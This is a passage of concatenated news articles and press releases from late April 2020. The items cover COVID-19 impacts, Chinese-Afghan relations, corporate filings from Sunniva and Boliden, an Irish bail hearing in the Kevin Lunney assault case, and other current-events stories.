Afghanistan and stands ready to offer as much help as it can on the basis of Afghanistan's needs, Wang added. "We will continue to take care of Afghan nationals in China and believe that the Afghan government will ensure the safety and health of Chinese citizens in Afghanistan," Wang said. Noting that this year marks the 65th anniversary of China-Afghanistan diplomatic relations, Wang said China is willing to work with Afghanistan to deepen joint construction of the Belt and Road and advance bilateral cooperation in various fields in order to jointly benefit the two countries and two peoples. The Chinese side supports the positive proposal made by the Afghan government about its country's peace and reconciliation process, hoping that all parties involved in the process would strengthen confidence, keep patient and reach a political consensus at an early date, Wang said. The political arrangement for Afghanistan's future should have broad representation, unswervingly stick to counter-terrorism and follow a foreign policy of peace and friendship, Wang said. As a neighbor and friend of Afghanistan, China always respects Afghan people's choice of their own path of development, and stands ready to continue to support, mediate and facilitate the peace and reconciliation process in Afghanistan, as well as play its constructive role, he added. Wang said China is more willing than anyone to see Afghanistan and Pakistan build a harmonious relationship. The Chinese side will proactively make any efforts that are conducive to enhancing mutual trust and improving relations between Afghanistan and Pakistan, Wang said, adding that China is ready to hold trilateral foreign ministers' dialogues at an appropriate time to push forward their cooperation. Enditem After reading China Tian Lun Gas Holdings Limited's (SEHK:1600) most recent earnings announcement (31 December 2019), I found it useful to look back at how the company has performed in the past and compare this against the latest numbers. As a long-term investor I tend to focus on earnings trend, rather than a single number at one point in time. Also, comparing it against an industry benchmark to understand whether it outperformed, or is simply riding an industry wave, is a crucial aspect. Below is a brief commentary on my key takeaways. Check out our latest analysis for China Tian Lun Gas Holdings How 1600 fared against its long-term earnings performance and its industry 1600's trailing twelve-month earnings (from 31 December 2019) of CN789m has jumped 39% compared to the previous year. Furthermore, this one-year growth rate has exceeded its 5-year annual growth average of 26%, indicating the rate at which 1600 is growing has accelerated. What's enabled this growth? Well, lets take a look at if it is solely a result of an industry uplift, or if China Tian Lun Gas Holdings has seen some company-specific growth. SEHK:1600 Income Statement April 27th 2020 In terms of returns from investment, China Tian Lun Gas Holdings has fallen short of achieving a 20% return on equity (ROE), recording 19% instead. However, its return on assets (ROA) of 8.9% exceeds the HK Gas Utilities industry of 4.3%, indicating China Tian Lun Gas Holdings has used its assets more efficiently. And finally, its return on capital (ROC), which also accounts for China Tian Lun Gas Holdingss debt level, has increased over the past 3 years from 9.3% to 17%. What does this mean? China Tian Lun Gas Holdings's track record can be a valuable insight into its earnings performance, but it certainly doesn't tell the whole story. Positive growth and profitability are what investors like to see in a companys track record, but how do we properly assess sustainability? I suggest you continue to research China Tian Lun Gas Holdings to get a more holistic view of the stock by looking at: Story continues Future Outlook: What are well-informed industry analysts predicting for 1600s future growth? Take a look at our free research report of analyst consensus for 1600s outlook. Financial Health: Are 1600s operations financially sustainable? Balance sheets can be hard to analyze, which is why weve done it for you. Check out our financial health checks here. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here. NB: Figures in this article are calculated using data from the trailing twelve months from 31 December 2019. This may not be consistent with full year annual report figures. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Britons across the country continue to find innovative ways to thank the NHS and frontline workers for their efforts during the coronavirus pandemic. Meanwhile in Basingstoke, the Dragonfly pub has been adorned with colourful home-made banners expressing thanks to the health service. Heres a selection of the posters. President Donald Trump speaks about the CCP virus in the James Brady Press Briefing Room of the White House on April 21, 2020. (Alex Brandon/AP Photo) Trump to Sign Executive Order to Keep Meat Processing Plants Open President Donald Trump said hes planning to sign an executive order to compel meat processing plants to remain open during the CCP virus pandemic. A number of meat and poultry plants have shut down in recent weeks after employees contracted the virus, leading to warnings from top executives that a shortage may hit the United States. Were going to sign an executive order today, I believe, and thatll solve any liability problems, Trump told reporters on April 28 during a meeting with Florida Gov. Ron DeSantis. News reports on April 28 said Trump would sign a Defense Production Act order and state that meat processing plants are critical infrastructure. And well be in very good shape, the president said in response to a question about the order. Were working with Tyson, which is one of the big companies in the world. And we always work with the farmers. Theres plenty of supply, as you know. Theres plenty of supply. Its distribution. And we will probably have that today solved. It was a very unique circumstance, because of liability. File photo of plant workers overseeing lean, finely textured beef at the Beef Products Inc (BPI) facility in South Sioux City, Nebraska, on Nov.19, 2012. (Reuters/Lane Hickenbottom) Other than the comment to reporters, Trump didnt elaborate. The president was referring to Tyson Foods, one of the largest meat producers in the world, which warned of a potential meat shortage. The food supply chain is breaking, Tyson Foods Chairman John Tyson wrote in a full-page ad published by several news outlets on April 26. As pork, beef, and chicken plants are being forced to close, even for short periods of time, millions of pounds of meat will disappear from the supply chain, Tyson wrote in a statement. As a result, there will be limited supply of our products available in grocery stores until we are able to reopen our facilities that are currently closed. Tyson recently suspended operations at its largest pork production plant, coming days after Smithfield Foods, a Chinese-owned company, suspended operations at some of its plants across the United States. Tyson added in another statement that it was taking action to deal with the threat of shortages to customers. Were shifting production at our plants and rerouting products to make sure store shelves stay stocked for you and your family, the statement said. Meanwhile, workers at a Smithfield plant in South Dakota told The Epoch Times that executives from WH Group, Smithfields parent company in China, regularly visit the plant, and even visited the plant about a month after President Trump had banned travel from China. Meat-processing workers are particularly susceptible to the CCP virus, commonly known as the novel coronavirus, because they typically stand shoulder-to-shoulder on the line and congregate in crowded locker rooms and cafeterias. The threat of a meat shortage prompted the U.S. Department of Agriculture (USDA) to say it will spend $3 billion to buy fresh produce, dairy, and meat that will be sent to food banks. The food supply chain is a critical industry in the United States, and Secretary Perdue fully recognizes the need to keep workers and inspectors safe during the COVID-19 national emergency, a USDA spokesperson told Time magazine. Tom Ozimek contributed to this report. REGINAHealth officials in Saskatchewan say nearly all of the cases of COVID-19 in a remote northern community are related to travel from Alberta. On Monday, the government announced 12 new cases of infection and an additional death in the province, with most of them in the far north. There are 29 confirmed cases of the illness in the village of La Loche, about 600 kilometres northwest of Saskatoon. All but three have been linked to northern Alberta. There are also nine cases reported in communities around La Loche. Premier Scott Moe said at a news conference Monday health officials are asking those returning from Fort McMurray, Alta., to self-isolate for 14 days. It seems to be the vast majority of the cases that we have in that community have came through that method, he said. The northern outbreak comes as Moe plans to lift restrictions on public health measures on certain personal care services and retail businesses next month to allow more businesses to reopen. The Opposition NDP also want the premier to reconvene the legislature in some form to scrutinize government spending during the pandemic, with Moe saying Monday it would likely be a topic of discussion in the days ahead. Travel to Saskatchewans far north is already restricted and the health authority has issued a travel advisory about COVID-19 cases linked to an oilsands facility north of Fort McMurray. However, Moe didnt indicate any plans to limit access to the province along the Saskatchewan-Alberta boundary. The curve is essentially flattened in many areas of the province, said Moe. La Loche Mayor Robert St. Pierre confirmed Sunday that the 83-year-old man who died was a member of his community and had been receiving care in North Battleford. The government said officials are doing thorough contact tracing, drive-thru testing and developing more ways to have mobile testing in La Loche in order to detect the virus among those even with mild symptoms. This again shows how quickly COVID can transmit, Saskatchewans chief medical health officer, Dr. Saqib Shahab, told a news conference about the northern outbreak. Within two, three weeks you can get into the dozens of cases, and within five or six weeks you can get into hundreds of cases. English River First Nation band councillor Katrina Maurice says her northern community has five confirmed cases of COVID-19, and she believes Moes plan to relax restrictions next month could be too soon since the region lacks treatment facilities. I was worried when the province said that they were going to slowly start reopening ... a lot of people in the north do go south, she said. We lack in resources such as hospitals. Maurice said housing was another concern in the region. Last week, health officials in Alberta said an outbreak of COVID-19 at Imperial Oils Kearl oilsands project near Fort McMurray in northeastern Alberta, which flies in workers from across Canada, was linked to cases in several other provinces, including Saskatchewan. As of Monday, Saskatchewan had recorded a total of 365 cases and a fifth death related to the illness. The alleged abduction and assault on Quinn Industrial Holdings (QIH) director Kevin Lunney was the culmination of a campaign of harassment and intimidation against the companys directors, according to a High Court judge. Mr Lunney was allegedly told to resign and to have all court cases involving the company dropped, according to Mr Justice Paul Burns, as he granted High Court bail to two of the QIH directors alleged attackers. Luke O'Reilly (66), from Mullahoran Lower, Kilcogy, Co Cavan and Darren Redmond (25), from Caledon Road, East Wall, in Dublin are facing trial at the non-jury Special Criminal Court for the false imprisonment and serious assault of Mr Lunney at Drumbrade, Ballinagh, Co Cavan on September 17, 2019. Mr Lunney was found incapacitated on a roadway in Co Cavan on the date in question, having suffered a broken leg and been doused in bleach. In an interview with the BBC last year, Mr Lunney alleged that the letters QIH had been carved into his chest with a Stanley knife during the two-and-a-half hour ordeal. Granting both men High Court bail on Tuesday morning, Mr Justice Burns said the alleged abduction and assault on Mr Lunney was vicious, cruel and abhorrent criminal behaviour which rightly attracted great public revulsion and anger. He said any charges arising out of the incident must be viewed as serious and any person convicted of the alleged offences could expect to receive a significant custodial sentence. However, he said the accused were presumed innocent and there was an entitlement to bail. Mr Justice Burns said the alleged abduction and assault on Kevin Lunney was preceded by a series of attacks on QIH but it was fully accepted that neither Mr OReilly nor Mr Redmond were suspected of being involved of those earlier incidents The judge said the alleged abduction and assault on Kevin Lunney was the culmination of a campaign of harassment and intimidation of the QIH directors. The court was entitled to contextualise the alleged abduction and assault on Kevin Lunney, while bearing in mind the presumption of innocence, he added. He said the alleged abduction and assault of Mr Lunney itself was intimidatory. Mr Lunney was allegedly told to resign his directorship and drop all court cases involving QIH, the judge said. His alleged captors told him, the judge said, not to make any statements to gardai or they will be back. Mr Justice Burns said there had been some dispute between the parties about the strength of the evidence against each accused. He said it was sufficient for him to say that the prosecution case is a reasonably strong one although there was aspects of the States case that might be open to challenge. He said the case was circumstantial in nature, but that was not an indication of strength or weakness in the prosecutions case. Counsel for the Director of Public Prosecutions, Aoife OLeary BL, maintained that no conditions of bail could allay the DPPs concerns, the judge said. Mr Justice Burns said Mr OReilly was almost 67 years of age and had moderate health problems. His family and wife were in the Republic of Ireland and he had long running ties to this jurisdiction. He had no history of violence or intimidation, the judge said, and it was unlikely he would attempt to go on the run. Mr Justice Burns said Mr Redmond was significantly younger and in good health. He said the prosecution had fallen short of meeting the standard required to refuse bail. However, it was a borderline case, the judge said, and any bail had to be subject to stringent conditions. Mr OReilly will be required to enter into his own bond of 75,000 with two independent sureties of 10,000 each. Mr Redmond will be required to enter into his own bond of 3,000 with two independent sureties in the sum of 10,000 each. They are required to surrender their passports and not apply for any new or duplicate passports or travel documents. They are required to sign on twice daily at their local garda stations but this condition was suspended until such time as there was a relaxation of the current Covid-19 restrictions. They were directed to furnish the gardai with telephone numbers and for those phones to be switched on at all times and for them to answer those phones to gardai. Failure to do so would represent a breach of bail. Mr OReilly was required not to come within 10km of Mr Lunneys home or place of business. They are also required to obey a curfew and and not to have any contact with the alleged injured party or any prosecution witnesses. Mr OReilly and Mr Redmond are facing trial at the non-jury Special Criminal Court, along with Alan OBrien (39), of Shelmalier Road, East Wall and a fourth accused who cannot be named for legal reasons. Mr OReilly and Mr Redmond were previously refused bail by the High Court. However, the decision to charge the men with the more serious Section 4 assault permits them to apply again. They had originally been charged with assault causing harm but are now facing charges of assault causing serious harm. Books of evidence were served on all four accused on March 26. Mr OReilly and Mr Redmond appeared via video link from Portlaoise Prison and could be seen wearing face masks on the courts televisions screens throughout the two-day hearing. Please switch off all mobile phones and maintain social distancing, the court crier told people assembled in court for the hearing. VANCOUVER, British Columbia, April 28, 2020 /PRNewswire/ -- Sunniva Inc. ("Sunniva", the "Company", "we", "our" or "us") (CSE:SNN) (OTCQB:SNNVF), is providing an update on the status of the filing of its annual financial statements and accompanying management's discussion and analysis, and related CEO and CFO certifications for the financial year ended December 31, 2019 (the "Annual Filings"). In addition, the Company is announcing that in an ongoing effort to manage its current significant liquidity issues, it will be initiating staff reductions in California and Canada effective May 1, 2020, including Duncan Gordon, Chief Operating Officer of the Company. Annual Filing Update The British Columbia Securities Commission has enacted BC Instrument 51-515 - Temporary Exemption from Certain Corporate Finance Requirements ("BCI 51-515") which allows for a 45-day extension for certain periodic filings required to be made on or prior to June 1, 2020. The Company will be relying on this extension and on the temporary exemption of its Group A filings pursuant to BCI 51-515 in respect to the following provisions: the requirement to file audited financial statements for the year ended December 31, 2019 (the "Financial Statements") within 120 days of the Company's financial year end as required by section 4.2(b) of NI 51-102 Continuous Disclosure Requirements ("NI 51-102"); (the "Financial Statements") within 120 days of the Company's financial year end as required by section 4.2(b) of NI 51-102 ("NI 51-102"); the requirement to file management discussion and analysis for the period covered by the Financial Statements within 120 days of the Company's financial year end as required by section 5.1(2) of NI 51-102; and the requirement to file certifications of the Financial Statements pursuant to section 4.1 of National Instrument 52-109 Certification of Disclosure in Issuers' Annual and Interim Filings. The Company intends to file the Annual Filings as soon as practicable. Prior to completion of the Annual Filings, management and other insiders of the Company are subject to a trading black-out policy as described, in principle, in section 9 of National Policy 11-207 Failure to File Cease Trade Orders and Revocations in Multiple Jurisdictions. Staff Reductions Sunniva continues to pursue its legal rights under the current dispute with respect to the lease for the Cathedral City Glasshouse which is currently in arbitration with JAMS court system in California. To fund this pursuit and its other expenses, the Company is taking additional steps to preserve cash through further reduction of current operating activities and the elimination of certain management and other employee positions in California and Canada. Included in the staff reductions is Mr. Duncan Gordon, who is the Chief Operating Officer of the Company. The Company has not announced a replacement for Mr. Gordon at this time. "Duncan has been in integral part of Sunniva since the early stages and was instrumental in the development of the operations in California," stated Dr. Anthony Holler, Chairman and CEO. "We wish him all the best in his future endeavors." The Company intends to operate the existing extraction and distribution facilities in California with reduced capacity to continue to serve its existing clients and will consider future expansion of operations as needed. "We are in survival mode," said Dr. Holler, CEO of the Company. "We are a company with minimal business operations; a core staff; a board of three individuals; limited capital resources and significant debt due and coming due. The steps we are announcing will extend our runway while we defend our core asset, our legal rights under the lease in respect of the Cathedral City Glasshouse, pursue the monetization of our Canadian assets and explore refinancing options". Sunniva Medical Inc. Sale Transaction Update Sunniva announced that, while the previously announced outside date for closing of the sale of the shares of Sunniva Medical Inc. ("SMI") to CannaPharmaRx Canada Corp. ("CannaPharmaRx")(the "SMI Transaction") has passed, the parties continue to work to restructure and finalize the SMI Transaction. Given current market and other conditions, there can be no certainty that this transaction will ultimately be finalized. SMI owns the Sunniva Canada Campus, which includes construction assets for a planned 759,000 square-foot greenhouse located on an approximately 114-acre property in Okanagan Falls, British Columbia. On November 26, 2019, the Company filed its interim consolidated financial statements and management's discussion and analysis for the period ended September 30, 2019. The Company confirms that since the filing there have been no material business developments other than disclosed through prior news releases, or as disclosed herein. Since November 26, 2019, the Company has issued the following press releases with respect to material business developments: November 28, 2019 - Sunniva Updates Expected Closing Date for SMI Transaction ; - ; December 4, 2019 - Sunniva Responds to Notice of Claim With Respect to Promissory Notes ; - ; December 13, 2019 - Sunniva Provides Update On California Operations As A Result Of Current Legal Disputes ; - ; December 16, 2019 - Sunniva Responds to Ex Parte Application Against CP Logistics With Respect to Promissory Notes ; - ; December 18, 2019 - Sunniva Reports The Ex Parte Application Filed in California was Denied ; - ; December 19, 2019 - Sunniva Announces Amended Terms and Closing of NHS ; - ; December 23, 2019 - Sunniva Provides Update on SMI Transaction ; - ; December 24, 2019 - CP Logistics Files for Temporary Restraining Order and Initiates Arbitration Process ; - ; December 26, 2019 - CP Logistics Reports the Application For A Temporary Restraining Order was Denied ; - ; January 2, 2020 - Sunniva Responds to Notice of Claim With Respect to Finders Fee ; - ; January 14, 2020 - CP Logistics, LLC Files Motion to Compel Arbitration ; - ; January 27, 2020 - Sunniva Announces Shut Down of Full Scale Distributors ; - ; February 20, 2020 - Sunniva Provides Update on Current Liquidity Position ; - ; February 24, 2020 - Sunniva Responds To Filing of Claim with Respect to Sale of NHS ; and - ; and March 3, 2020 - Sunniva and CannaPharmaRx Update Terms of Sunniva Medical Transaction. Copies of the press releases listed above are available on SEDAR at www.sedar.com. For more information about the Company please visit: www.sunniva.com. The Canadian Securities Exchange does not accept responsibility for the adequacy or accuracy of this release. Cautionary Note Regarding Forward-Looking Information or Statements This press release contains forward-looking information or statements. All statements that are or information which is not historical facts, including without limitation, statements regarding future estimates, plans, programs, forecasts, projections, objectives, assumptions, expectations or beliefs of future performance, statements regarding Sunniva's operations, Sunniva's efforts to manage its significant liquidity issues, including the initiation of certain staff reduction initiatives, Sunniva's intention to rely on the extension and temporary exemptions pursuant to BCI 51-515, including the intention to file the Annual Filings as soon as practicable, the pursuit of Sunniva's legal rights under the lease for the Cathedral City Glasshouse, Sunniva's intention to operate its existing extraction facilities and distribution facilities in California with reduced capacity, and statements regarding the closing of the SMI Transaction are "forward-looking information or statements". Forward-looking information or statements can be identified by the use of words such as "plans", "expects" or "does not expect", "is expected", "estimates", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved. With respect to forward-looking information and statements contained herein, Sunniva has made numerous assumptions including, among other things, assumptions about general business and economic conditions. Such forward-looking statements are based on assumptions and involve known and unknown risks, uncertainties and other factors that may cause actual results, events or developments to be materially different from any future results, events or developments expressed or implied by such forward-looking information or statements. Such risks and uncertainties include, among others, the risk factors included in the Sunniva's continuous disclosure documents available on www.sedar.com. These factors should be considered carefully, and readers are cautioned not to place undue reliance on such forward-looking information or statements. Although Sunniva has attempted to identify important risk factors that could cause actual actions, events or results to differ materially from those described in forward-looking information or statements, there may be other risk factors that cause actions, events or results to differ from those anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in forward-looking information or statements. Sunniva assumes no obligation to update any forward-looking information or statements, even if new information becomes available as a result of future events, new information or for any other reason except as required by law. Company Contacts: Sunniva Inc. Sunniva Investor Relations Dr. Anthony Holler Rob Knowles Chairman and Chief Executive Officer VP Corporate Development Phone: (866) 786-6482 Phone: (587) 316-4319 Email: [email protected] SOURCE Sunniva Inc. Related Links https://www.sunniva.com BOLIDEN, Sweden, April 28, 2020 /PRNewswire/ -- Boliden's Annual General Meeting was held on 28 April 2020 in Stockholm. Adoption of the Income Statement and Balance Sheet and appropriation of profits The Income Statements and Balance Sheets of the Parent Company and the Group were adopted and the Board of Directors' proposal regarding the appropriation of profits was approved. The Meeting resolved, firstly, to approve the payment of a dividend to the shareholders of SEK 7 per share, and secondly, that Thursday, 30 April 2020 will be the record day for dividends. The dividend is scheduled for disbursal to the shareholders through the agency of Euroclear Sweden AB on Wednesday, 6 May 2020. The Board of Directors The Board of Directors and the President & CEO were granted discharge from liability for the 2019 financial year. The Meeting further resolved to elect Helene Bistrom as a new Member of the Board and that the following Members of the Board shall be re-elected: Tom Erixon, Michael G:son Low, Perttu Louhiluoto, Elisabeth Nilsson, Pia Rudengren and Anders Ullberg, with Anders Ullberg as Chairman of the Board. Fees The Meeting resolved that all Directors' fees and Committee fees are to remain unchanged and thus to pay SEK 1,750,000 in Directors' fees to the Chairman of the Board and SEK 580,000 to Board Members not employed by the company. The Meeting further resolved, firstly, that fees of SEK 225,000 shall be paid to the Chairman of the Audit Committee, and of SEK 125,000 to the members of the Audit Committee, and secondly, that fees of SEK 50,000 shall be paid to members of the Remuneration Committee. Guidelines for remuneration, etc. to group management The Meeting resolved to adopt the remuneration guidelines proposed by the Board of Directors. Nomination Committee Jan Andersson (Swedbank Robur fonder), Lars-Erik Forsgardh, Ola Peter Gjessing (Norges Bank Investment Management), Lilian Fossum Biner (Handelsbankens fonder) and Anders Ullberg (Chairman of the Board of Directors) were appointed as members of the Nomination Committee. Auditor The accounting firm of Deloitte AB were re-elected as auditors for the period up to and including the next Annual General Meeting. Boliden is a metals company with a focus on sustainable development. Our roots are Nordic, our market global. Our core competence lies within the fields of exploration, mining, smelting and metal recycling. Boliden has around 6,000 employees and an annual turnover of SEK 50 billion. The share is listed in the Large Cap segment on NASDAQ OMX Stockholm. www.boliden.com For further information, please contact: Klas Nilsson, Director Group Communications, phone: +46-70-453-65-88 This information was brought to you by Cision http://news.cision.com https://news.cision.com/boliden/r/communique-from-boliden-s-annual-general-meeting,c3098961 The following files are available for download: https://mb.cision.com/Main/997/3098961/1238276.pdf Press release (PDF) SOURCE Boliden Apple is expected to expand the iPhone lineup to four smartphones this year. A WSJ report claims Apple has cut back estimates for July-December by as much as 20 per cent. Apple is also reportedly a month behind in iPhone 12 production. The COVID-19 pandemic will delay the launch of iPhone 12 this year, according to a report by the Wall Street Journal. The report claims that Apple is a month behind in iPhone 12 production, which might lead to Apple pushing back the launch date beyond the usual first Tuesday of September, owing to disruptions in the supply chain. The report claims Apple has cut back estimates for July-December by as much as 20 per cent. Apple is expected to expand the iPhone lineup to four smartphones this year A 5.4-inch model, a 6.7-inch model, and two 6.1-inch variants. The iPhone 11 series was launched in three variants that feature 5.1-inch, 6.1-inch and 6.5-inch displays. This is not the first report to claim Apple has cut back on production. Noted Apple analyst Ming-Chi Kuo also said iPhone 12 production is a month behind. He said since Apple executives cannot fly to China right now, the company has shifted the engineering verification process to remote operations. However, factories are still taking more time than under normal circumstances. Having said that, a delay in mass production does not necessarily mean Apple will postpone the scheduled launch date. It could very likely be a repeat of what happened with the iPhone X or the iPhone XR where the phones were announced in September but customers had to wait for a month to get their hands on them. iPhone 12 expected specs and features As mentioned before, Apple is working on releasing four iPhone 12 models this year. Leaked design of the iPhone 12 hints at an iPad Pro-like flat-edge chassis and there are rumours that all the iPhone 12 modems will have 5G support, although only the high-end iPhone 12 models could get support for mmWave while the rest may only get support for sub-6GHz bands. Furthermore, a purportedly leaked image claims the iPhone 12 Pro variants will pack the same LiDAR scanner sensor seen on this years iPad Pro that helps in improving AR apps. The iPhone 12 models will also be powered by the upcoming Apple A14 processor which is reportedly being made on a 5nm TSMC process. The iPhone 12 Pro models (that's what we're assuming they will be called) will retain the triple-camera design but with a 64MP sensor in the primary camera along with support for all three lenses in Night Mode. Two of the models are expected to come with 6GB RAM while the other two are rumoured to pack 4GB RAM. James Arthur performs live on stage during the Irish leg of his YOU Tour at the 3Arena, Dublin. (Ben Ryan / Echoes Wire/Barcroft Media via Getty Images) X Factor winner James Arthur was so overwhelmed with anxiety after falling ill during his European tour earlier in the year, he feared he would die onstage. He initially believed he was unwell with the flu, however, it transpired he actually had a gallbladder infection and required emergency surgery. The 32-year-old told BBC Newsbeat: "I had really bad anxiety. I thought I was gonna die on stage, it was weird." Read more: Ed Sheeran wont furlough bar staff at taxpayers expense As a result, the rest of the tour had to be postponed while he underwent treatment and recovery. James Arthur, performs for 20,000 students and teachers at WE Day Toronto at the Scotiabank Arena on Thursday, Sept. 19, 2019, in Toronto. (Photo by Arthur Mola/Invision for WE Day/AP Images) However, he managed to complete scheduled dates in the UK and Ireland before the coronavirus lockdown began "I did manage to do my arena tour, but it took a month of intensive therapy for me to get right to get back on stage. So yeah, it was a bit of a mad time," he shared. Arthur, who asserted he was now "absolutely fine", saw his subsequent US tour postponed due to the coronavirus pandemic. The Say You Won't Let Go hitmaker is one of a number of celebrities giving themselves new looks in lockdown, revealing at the beginning of April that he'd shaved off his hair in "a moment of madness". As he showcased his new look and explained how it came about by accident, he then went on to say he'd donated 5,000 to the NHS. So I was trying to give my self a little trim up in a state of pure cabin fever, it wasnt going so well so In a moment of sheer madness I decided to do something Ive never dared to do before and shave my head for the NHS and donate 5k, he wrote. The Concerned Freight Forwarders and Traders Association (COFT) is vowed to stage a massive demonstration at the Tema Port. The group says the demonstration is to protest the shipping lines decision to claim demurrage and rent charges on cargo at the country's ports despite a directive from the Transport Minister, Kwaku Ofori-Asiamah instructing them to halt such charges. The Chairman of the Association, Oheneba Akwasi Afrawua said they are being taken advantage of by the shipping lines. The shipping lines are not adhering to the orders from the Transport Minister. They claim they do not take orders from the Minister. Looking at the situation we find ourselves, we are not in our normal times and the same shipping lines are working along the coast. Our checks have told us that the same communique has come from countries which the shipping lines have helped. And when they come to Ghana, they want the traders to suffer and pay for demurrages. We the freight forwarders are going to do a massive demonstration and make sure no shipping line operate because we cannot sit down for this thing to happen continually. Demurrage is a charge payable to the shipping lines or owner of a chartered ship on failure to offload your goods within the time agreed. The Minister had directed the Ghana Shippers' Authority to suspend all applicable charges such as demurrage or detention and storage rent charges on all cargo that had remained uncleared since the partial lockdown came into effect on 30th March 2020. In a letter to the Ghana Shippers Authority, the Minister had explained that this is to ensure that shippers and other stakeholders do not take actions that may thwart government's efforts at stemming the spread of the virus on the basis of preventing the accumulation of costs in the clearance of their cargoes. Halt demurrage and rent charges The Ministers directive was given after the Ghana Union of Traders' Associations (GUTA), had petitioned the government to compel the GPHA and the shipping lines to refrain from claiming demurrage and rent charges on cargo at the country's ports during the period of the partial lock-down. They said, It is very sad that while most of our members cannot move out freely because they are all adhering to the restrictions announced by government, the shipping lines are asking that since they are still working, our members whose goods have arrived at the ports should clear them or pay demurrage if the containers continue to remain at the ports during this lockdown period, the statement noted. GUTA subsequently commended government, the Minister for Transport and the Minister for Trade and Industry after their demands were met. ---citinewsroom P iers Morgan slammed a Home Office minister and accused her of laughing as he branded PPE shortages a "national disgrace" in a furious exchange on Good Morning Britain. Morgan asked Victoria Atkins why the government did not act on warnings from Exercise Cygnus - a three-day simulation against a global pandemic which was carried out by government and public health bodies in 2016. It comes after a BBC Panorama report revealed the government failed to stockpile protective equipment. Morgan said: "Lives would have been saved. We would have been better prepared. "The fact we didn't, according to Panorama, have a single gown in stockpiling is a national disgrace and a scandal that has cost lives." Ms Atkins insisted the government has been "lead by the evidence" and "followed the science throughout". But Morgan insisted: "On the 19th March, the UK downgraded covid-19 from HCID, which is the high consequence infectious disease category, which requires a very high level of PPE, legally, for health workers - it was downgraded. "I just want to know why?" Ms Atkins responded: "I'm not a scientist, Piers." "No, you're just a Government minister in charge of safeguarding," Morgan said. When Ms Atkins appeared to laugh, Morgan interjected: "Well you can laugh - I don't know why you all keep laughing when I talk about this. It's not funny!" "No it's not - I know you accused another colleague of laughing," Ms Atkins replied. Mr Morgan said: "You downgraded this so that you didn't have a legal obligation to give our health workers the right amount of PPE kit. A demonstrator holds signs saying PPE outside St Thomas' Hospital in Central London / PA "You appear to know nothing about why this decision was taken." Ms Atkins tried to point out that she was there to talk about the domestic abuse bill, but Morgan said: "Have you ever heard of Exercise Cygnus?" Eventually, she said she had not heard of it. Morgan said he was "staggered" before explaining the operation had "revealed we were chronically short of things like PPE". Ms Atkins said: "To clarify, I was unfamiliar with the exercise name, but I do know about the exercise you have described. We have been led by the evidence on this throughout." "You should know an awful lot more about Exercise Cygnus than you do. Had the government acted on the warnings, then lives would have been saved", Morgan said. She responded: "We have plans that we have stood up in this crisis, including the legislative framework which became the Corona Act." "The government keeps sending out ministers like you who don't have a clue," Piers said. "Do you see how this looks to the viewers? "The results of that exercise were crystal clear. As a result of that lack of preparedness, many many health and care workers have now died - and many more are going to die. And that is a national disgrace." Ms Atkins replied: "All of our thoughts and condolences are with the families that are grieving at the moment. We absolutely appreciate that we need to get PPE as quickly as possible to the frontline. This is an international challenge. Other countries are facing similar problems with accessing particular pieces of PPE." Unification Minister Kim Yeon-chul, right, and Foreign Minister Kang Kyung-wha participate in a session of the Foreign Affairs and Unification Committee at the National Assembly in Seoul, Tuesday. / Yonhap By Kang Seung-woo Unification Minister Kim Yeon-chul said, Tuesday, that there were no unusual signs regarding North Korean leader Kim Jong-un's health amid swirling rumors that he had fallen ill or even died after undergoing cardiovascular surgery. In addition, the minister said Kim's disappearance from the public eye is due to the COVID-19 pandemic, adding that the government has knowledge of his current state and whereabouts. Kim has been out of the public eye since April 11, when he presided over a political bureau meeting of the ruling Workers' Party. He skipped an annual visit to Kumsusan Palace of the Sun, April 15, marking the 108th anniversary of the birth of his grandfather, North Korea's founder Kim Il-sung, raising the speculation over his health. "The government's official position is that there is no unusual activity related to Kim's health in the North. We can say this with confidence," the minister told lawmakers of the National Assembly Foreign Affairs and Unification Committee. Kim missed the key ceremony as part of the North's quarantine measures against the coronavirus, the minister added. "Although Kim did not participate in the anniversary ceremony, for the first time since he took the reins (in 2011), relevant events were also canceled due to the coronavirus pandemic and visits to the palace were scaled down." As to Kim's "disappearance" for over two weeks, the minister said this was not unusual, compared to the past. "Earlier this year, the North Korean leader stayed out of public sight for 21 days at one time and 19 days at another time. At this point, we do not see it as unusual," he said. Kevin Hassett, chair of the council of economic advisers, speaks at the White House briefing in Washington on Nov. 17, 2017. (Charlotte Cuthbertson/The Epoch Times) White House Looking at Second Round of Direct Payments to Americans: Adviser The White House is looking to issue more direct payments to Americans during the CCP virus pandemic, according to a top adviser. White House economic adviser Kevin Hassett told reporters on Tuesday that people who qualify could receive another direct payment or check. It comes after some Americans received up to $1,200 in stimulus payments earlier in the month. I think thats something were studying very carefully, he said. Its very likely therell be a phase-four deal and were going to be speaking with the president throughout the week about what he thinks should be in there, and I know that Senator McConnell and Speaker Pelosi are working on that as well, Hassett said, referring to House Speaker Nancy Pelosi (D-Calif.) and Senate Majority Leader Mitch McConnell (R-Ky.). He said the odds of there not being another round of direct payments are pretty low. He didnt say how much people would get paid. Under the $2.2 trillion stimulus bill passed in March, individuals could get up to $1,200 payments, couples could get up to $2,400, and children could receive $500. People who make over $75,000 a year will get smaller payments, dropping 5 percent of every dollar above $75,000, or $50 for every $1,000. The payments were authorized amid nationwide closures of businesses, triggering a historic wave of layoffs and furloughs, in a bid to curb the spread of the CCP (Chinese Communist Party) virus. Earlier, Hassett told CNN he expects the U.S. unemployment rate to surge to 16 percent to 20 percent by June, following by a rebound. Im not saying were going to have a Great Depression, but I am saying prepare yourself, Hassett said. GDP tomorrow will probably be a negative number and that will be the tip of the iceberg of a few months of negative news thats unlike anything youve ever seen. 5 1 of 5 Photo courtesy of Clay Engelhart Show More Show Less 2 of 5 Photo courtesy of Clay Englehart Show More Show Less 3 of 5 4 of 5 Photo courtesy of Clay Engelhart Show More Show Less 5 of 5 GREENWICH Created by Greenwich resident Lois Kelly, the HSS Angels Project is supporting the Hospital for Special Surgery front-line heroes as they fight against the coronavirus. After an outpouring of 